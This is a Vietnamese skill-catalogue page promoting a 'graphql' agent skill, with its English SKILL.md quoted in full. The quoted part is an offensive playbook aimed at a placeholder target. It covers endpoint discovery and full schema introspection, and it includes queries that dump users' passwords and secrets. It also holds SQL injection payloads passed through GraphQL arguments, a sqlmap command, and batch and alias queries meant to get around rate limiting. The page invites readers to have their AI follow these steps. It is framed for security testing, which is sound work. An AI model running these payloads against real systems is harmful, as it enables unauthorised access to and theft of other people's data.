Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14063

graphql

Skill này làm gì

Skill này hướng dẫn agent kiểm thử API GraphQL. Nó bao gồm việc tìm endpoint, đọc schema và kiểm tra xem quy tắc truy cập có được giữ vững không. Dành cho người kiểm thử bảo mật.

Khi nào nên dùng

  • ✓Khi một trang hoặc ứng dụng dùng API GraphQL và bạn muốn kiểm tra nó để lộ những gì.
  • ✓Khi một rà soát bảo mật hỏi liệu schema có để lộ các trường hoặc thao tác cần ẩn không.
  • ✓Khi bạn cần kiểm tra xem truy vấn GraphQL có thể tiếp cận dữ liệu mà người dùng khác không được xem không.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem API GraphQL của tôi có hiển thị dữ liệu cho người dùng không được phép xem không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent tìm các endpoint GraphQL phổ biến, yêu cầu máy chủ trả về schema, rồi kiểm tra các truy vấn và mutation tìm được xem có kiểm tra truy cập yếu không.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

GraphQL Exploitation

Exploits GraphQL APIs for data exfiltration, SQL injection through resolvers, authentication/authorization bypass, and batch query abuse.

Discovery

# Common GraphQL endpoints
for path in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /gql /graphql/console; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>$path" -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}')
  [ "$code" != "404" ] && [ "$code" != "000" ] && echo "$path -> HTTP $code"
done

# Check for GraphiQL IDE (browser-based)
curl -s 'http://<TARGET>/graphiql' | grep -i 'graphiql\|graphql'

Introspection — Schema Dump

# Quick schema overview — list all types and their fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# List all query types (entry points)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# List all mutations
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { mutationType { fields { name args { name type { name } } } } } }"}' | python3 -m json.tool

# Full introspection query (complete schema)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields(includeDeprecated: true) { name args { name type { ...TypeRef } } type { ...TypeRef } } inputFields { name type { ...TypeRef } } enumValues(includeDeprecated: true) { name } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"}' | python3 -m json.tool

Data Enumeration (Authorization Bypass)

# After introspection reveals types, query all data
# Replace field names based on introspection results
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ users { id username email role password } }"}'

# Query nested/related objects
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ users { id name secrets { id content } } }"}'

# Query with specific filters
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: 1) { id username role password } }"}'

# Look for flag-related types/fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ flags { id value } }"}'
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ secrets { id content } }"}'

GraphQL SQL Injection

# String argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id name } }"}'

# Union-based SQLi through GraphQL
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: \"1 UNION SELECT 1,2,flag FROM flags--\") { id name } }"}'

# Integer argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: \"1 OR 1=1\") { id name email } }"}'

# Mutation-based injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"mutation { login(username: \"admin\\\" OR 1=1--\", password: \"x\") { token } }"}'

# If sqlmap is available — use it with GraphQL
# Extract the injectable parameter and use sqlmap
sqlmap -u 'http://<TARGET>/graphql' --method POST \
  --data '{"query":"{ user(id: \"1*\") { id name } }"}' \
  -H 'Content-Type: application/json' --batch --output-dir sqlmap_graphql/

Batch Query Abuse

# Send multiple queries in one request (bypass rate limiting)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '[{"query":"{ user(id: 1) { id name } }"},{"query":"{ user(id: 2) { id name } }"},{"query":"{ user(id: 3) { id name } }"}]'

# Alias-based batching (single query, multiple operations)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ u1: user(id: 1) { id name } u2: user(id: 2) { id name } u3:
Câu hỏi thường gặp

Introspection schema là gì?

Đó là tính năng của GraphQL liệt kê các kiểu, trường và thao tác mà API cung cấp, và skill dùng nó để lập bản đồ API.

Skill có bao gồm truy vấn hàng loạt không?

Có. Skill nhắc đến lạm dụng truy vấn hàng loạt trong số các lĩnh vực nó bao gồm.

Nó có kiểm tra những người dùng khác nhau truy cập được gì không?

Có. Skill bao gồm việc vượt qua phân quyền, nên nó kiểm tra quy tắc truy cập ở các cấp người dùng khác nhau.

Chi tiết

Mô tả gốc của tác giả

GraphQL exploitation — introspection, injection, authorization bypass, and data exfiltration through GraphQL APIs.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14063
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự